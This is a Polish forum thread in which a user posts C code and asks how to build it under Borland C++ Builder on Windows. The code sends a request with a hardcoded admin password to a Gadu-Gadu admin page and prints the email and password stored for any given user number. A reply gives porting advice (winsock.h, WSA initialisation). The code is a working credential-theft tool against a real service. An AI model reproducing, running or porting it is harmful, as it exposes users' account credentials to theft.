biblioteki do Borlanda

0

Witam!

Mam pewien kod, zrobiłem w linuxie i skompilowałem (biblioteki użyte ort! z pewnej strony). Kod wygląda tak:

#define PASSWORD_GG "tbynum"
#define IP_GG    "217.17.41.87"
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <vcl.h>
#pragma hdrstop
#pragma argsused




int wyswietl( char *string )
{

        char *t1, *t2, *t3, *t4;

        t1 = strstr(string, "Aktualne");
        if (!t1) return;
        t1 += 36;
        t2 = strstr(t1, "</td>");
        if (!t2) return;
        *t2++ = 0x00;

        t3 = strstr(t2, "25%\">");
        if (!t3) return;
        t3 += 5;
	t2 = strstr(t3, "</td>");
	if (!t2) return;
	*t2++ = 0x00;
	t4 = strstr(t2, "25%\">");
	if (!t4) return;
	t4 += 5;
	t2 = strstr(t4, "</td>");
	if (!t2) return;
	*t2++ = 0x00;

	printf("Email: %s\nHaslo: %s\n", t1, t3);
}	
int usage( char *something )
{
    printf("usage: %s [-u uid]\n", something);
    exit(0);
}

int main( int argc, char *argv[] )
{
    struct sockaddr_in sin;
    int sock_fd, c;
    char *uin, request[1024], content[1024], html[4096];


char http_request[] =
        "POST /admin/accinfo1.asp HTTP/1.1\n"
        "Host: gadugadu.pl\n"
        "Accept: */*\n"
        "Connection: Keep-Alive\n"
        "Content-Type: application/x-www-form-urlencoded\n"
        "Content-Length: %d\n\n";
				
char http_content[] =
        "PWD=%s&FmNumber=%s&B1=Submit\r\n";
												
	 
    c = getopt(argc, argv, "u:");
    switch(c)
    {
	    case 'u': uin = optarg;
	              break;
	    default : usage(argv[0]);
		      return -1;
    }
    
    
    memset(content, 0x00, 1024);
    memset(request, 0x00, 1024);
    
    snprintf(content, 1024, http_content, PASSWORD_GG, uin);
    snprintf(request, 1024, http_request, strlen(content));

    memset(&sin, 0x00, sizeof(struct sockaddr_in));
    
    sin.sin_family = AF_INET;
    sin.sin_addr.s_addr = inet_addr(IP_GG);
    sin.sin_port = htons(80);
    
    sock_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (sock_fd < 0)
    {
	printf("Nie mozna utworzyc gniazda!\n");
	return -1;
    }
    
    if (connect(sock_fd, (struct sockaddr*)&sin, sizeof(struct sockaddr)) == -1)
    {
	printf("Nie moge polaczyc sie z %s.\n", IP_GG);
	return -1;
    }
    
    if (send(sock_fd, request, strlen(request), 0) != strlen(request))
    {
	printf("Nie udalo sie wyslac zawolania HTTP.\n");
	return -1;
    }

    if (send(sock_fd, content, strlen(content), 0) != strlen(content))
    {
	printf("Nie udalo sie wyslac zapytania.\n");
	return -1;
    }
    
    recv(sock_fd, html, 4096, 0);
    recv(sock_fd, html, 4096, 0);

    printf("Dane dla numeru: %s\n", uin);
    wyswietl(html);
}

...i moje pytanie: kto zna stronęz bibliotekami do Borlanda C++ Buildera 6 by ten kodzik zadziałał pod windowsem ???

Bede wdzięczny...

0

Witam,

tu nie trzeba żadnych bibliotek borladna ;) Wystarczy wywalić includy plikow anglowkowych od socketow dla unixów i includnąć pliczek winsock.h no i zainicjalizować WSA :)

Pozdr.
GM

1 użytkowników online, w tym zalogowanych: 0, gości: 1